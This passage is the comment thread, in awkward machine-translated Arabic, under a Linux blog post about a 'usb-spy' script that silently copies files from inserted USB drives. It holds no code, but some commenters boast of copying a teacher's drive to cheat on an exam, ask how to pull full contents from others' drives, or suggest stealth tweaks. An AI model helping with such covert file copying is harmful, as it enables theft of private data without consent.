    لأنني حاولت بالفعل تعديل السطر الذي قاموا بتعديله إلى usb-spy sh ولكن إلى ذلك الخط الآخر الذي يسجل مباشرة في المنزل ويرمي لي خطأ في السطر المعدل.؟ تحية طيبة . شكرا

  22.   كاكاشي قال

    لا يمكنني تنزيل النص الثاني

  23.   ميتالوس قال

    جيد جدا. 😉

  24.   كمليون قال

    وإذا لم أفعل الخطوات التي وضعتها ، ماذا يحدث؟ ألا يعمل أو يعمل فقط ولكن بدون جذر؟ إذا كان لدى أجهزة الكمبيوتر نظام نقول إنه يستعيد كل التكوين الداخلي للكمبيوتر عند إيقاف تشغيله ، فهل سيعمل؟ شكرا.

    1.    KZKG ^ جارا قال

      في حالة احتواء النظام على "شيء" افتراضي للمجلد / home / ، يجب عليك تعديل البرنامج النصي ، حيث يقول / home / change it to / opt / أو بعض المجلدات الأخرى التي لم تتأثر.

  25.   gambi قال

    أعتقد أنه لتحسين البرنامج النصي وتجنب ملاحظة التطفل في pendrive ، فإن الشيء الأمثل هو إعطاء الأولوية للنوع وحجم الملف. على سبيل المثال ، اترك ملفات كبيرة بحجم 100 ميغابايت أو أكثر للنهاية. أو قم بنسخ الملفات أولاً doc ، docx ، txt ، pdf ، xml ، ... إلخ إلخ ، وترك ملفات avi ، mp4 ، mkv لآخر ...

  26.   لوكاس قال

    مرحبا ، الفكرة جيدة. أردت أن أطرح سؤالين:
    - هل يمكن أن يتم بالعكس؟ قم بعمل برنامج نصي لـ penderiver ، بحيث يتصل بأي جهاز ويستخرج الملفات.
    - يعمل لنظام التشغيل Windows؟

    1.    KZKG ^ جارا قال

      مرحبا،

      لست متأكدًا من كيفية القيام بذلك عند توصيل pendrive ، يقوم pendrive نفسه بتنفيذ برنامج نصي بداخله.

      ولا ، هذا البرنامج النصي لا يعمل لنظام التشغيل Windows 🙂

      1.    LUCAS قال

        حسنًا ، شكرًا على إجابتي ، وسأحقق في كيفية القيام بذلك

  27.   خوسيه داميان بازاجا رويز قال

    يا له من نص جيد. لقد كنت أقوم بتحليلها ، ويبدو الأمر مدهشًا بالنسبة لي ، آمل أن أتمكن يومًا ما من كتابة مثل هذه السيناريوهات العملية.

  28.   خوسيه قال

    مساهمة ممتازة ، على الرغم من أن الأداة المساعدة التي سأقدمها ليست بالضبط ما قمت بتربيته من أجله ، إذا كنت أستخدمها في نسخ الملفات الاحتياطية لمجموعة من المستخدمين ، فإن سوء السلوك لدي… هههههه….

  29.   احتقار قال

    عندما أحاول تشغيله يعطيني سطر الخطأ 31: [: الكثير من الحجج
    إزالة هذا الخط لمعرفة ما إذا كان يعمل. واتضح أن الخط هو الذي يقيد حجم الأجهزة.
    عند إزالته ، ينسخ ما لدي في الأقسام المثبتة

  30.   فالنتي قال

    مرحبًا ، أنا جديد وأعلم أن القدر قديم لكنني أحببته كثيرًا ، نصك تعليمي للغاية

    شكرا لمشاركتها وشرحها بالتفصيل ...

    موجة

  31.   دولتروكس قال

    صديق ، لقد أنقذتني ، كان يكفي تشتيت المعلم وإدخال USB إلى جهاز الكمبيوتر المحمول الخاص بي ثم اجتاز hahahaj الامتحان والملاحظات من جميع ههههه

    1.    ايتام 222 قال

      هل يمكن أن تمرر لي النص ، الرابط معطل

    2.    ايتام 222 قال

      يمكنك تمرير لي البرنامج النصي الرابط معطلة

  32.   Worm2D2 قال

    kzkggaara ، هل يمكنك إعادة تحميل الملفات؟ الروابط معطلة: / شكرا جزيلا لك

  33.   باستيان قال

    هل يمكنك تحميل الروابط من فضلك؟

  34.   Necr 0 قال

    يسمع! اخو الام! لديك الثناء الساقط يمكنك رفعهم مرة أخرى!
    حسنا! : الخامس

  35.   Necr 0 قال

    حسنًا ، أفعل هذا مرة أخرى لأنني لا أعرف ما إذا كان ما أريد قوله قد تم تحميله….

    حسنًا ، هذا هو أن لديك الروابط أسفل يمكنك تحميلها!

  36.   رلورو قال

    الروابط معطلة !!!

  37.   Developer24 قال

    أعد إرسال الروابط من فضلكusemoslinux أنا أحقق في الموضوع ، شكرًا!

  38.   مجهول قال

    يمكن تنزيل البرنامج النصي من هنا. أعتقد أنه نفس الشيء

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   خوان قال

    حسنا اذن….

    أعتقد من وجهة نظري المتواضعة أنه مقال رائع ، ثم إذا كان هناك أشخاص يقولون إنك غشاش ، فأعتقد أنه وفقًا للغرض الذي تستخدم من أجله البرنامج.
    أنا شخصياً أحببت أكثر لمعرفة لغة البرمجة لنظام لينكس لأنني عملت في جافا فقط ، شكرًا يا صديقي ، لقد أثارت اهتمامي بمعرفة المزيد عن لغة لينكس.

    أشكرك.

  40.   Hecorat قال

    مرحبًا يا أصدقاء لأنني وجدت طريقة أخرى لاستخدام هذا البرنامج النصي وهي إجراء النسخ الاحتياطي ، سأتحدث إليكم قليلاً لدي جهازان ، كاميرا ومحرك أقراص صلبة ، ما أريده هو أنه بدلاً من تسجيل الملفات ، تحفظ الملفات المحلية عليها في محرك أقراص ثابت خارجي من الكاميرا إلى محرك الأقراص الثابتة ولكنه يعطيني خطأ يقول "الكثير من الحجج" هل يمكنك مساعدتي

  41.   لويس جيراردو بولانكو فيرا قال

    هل تعمل فقط مع الأجهزة التي تعمل بنظام التشغيل Linux؟

  42.   بروباندو قال

    شخص ما يرفعها من فضلك!

  43.   غازلين قال

    مرحبًا ، ليس لدي نظام لينكس وفي مدرستي يستخدمون Windows ، لقد استخدمت التطبيق من التقاط USB وأنا أنسخ 5 ملفات فقط من ذاكرة المعلم ، وأظن أن USB به حماية ، لأن نفس الشيء حدث مرتين ، ستكون هناك طريقة أخرى لطرح المعلومات الكاملة من ذلك USB؟

  44.   زاراكي قال

    اذهب إذا قلت أن الكود سيكون بسيطًا ، لأنه يبدو من المثير للاهتمام للغاية رؤية الطرق تعمل لمعرفة ما إذا كان USB متصلاً أو حجم القسم. من المؤسف أنهم قاموا بإزالة البرنامج النصي mega.nz ، هل يمكنك تحميله مرة أخرى؟

    تحيات وعمل رائع ، بسيط ولكنه عملي حتى لأتمتة النسخ من USB !!!

  45.   فواصل قال

    جيد!
    لقد أدخلت للتو منشور مدونتك ، وأنا مهتم حقًا. ما يحدث هو أنه عندما تعطي ملف zip. الذي يعيد توجيهك إلى mega ، فهذا يعني أن الملف لم يعد متاحًا.
    كنت أتساءل عما إذا كان بإمكانك أن ترسل إلي تلك الملفات التي من المفترض أن يتم تنزيلها.
    شكرا جزيلا وتحياتي لك!

  46.   ألفريدو بيريرا قال

    عادة ما تتقلص التكنولوجيا في الحجم مع مرور السنين. وقد حدث ذلك بدرجة لا تصدق مع محركات الأقراص ذات الحالة الصلبة (SSDs). يمكنك الآن الحصول عليها بنفس حجم أسرع محركات أقراص فلاش USB.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a قال

    هل يمكنك إرسال الملف إلي أو تحميله مرة أخرى؟ يخرج أنه لا يمكن تنزيله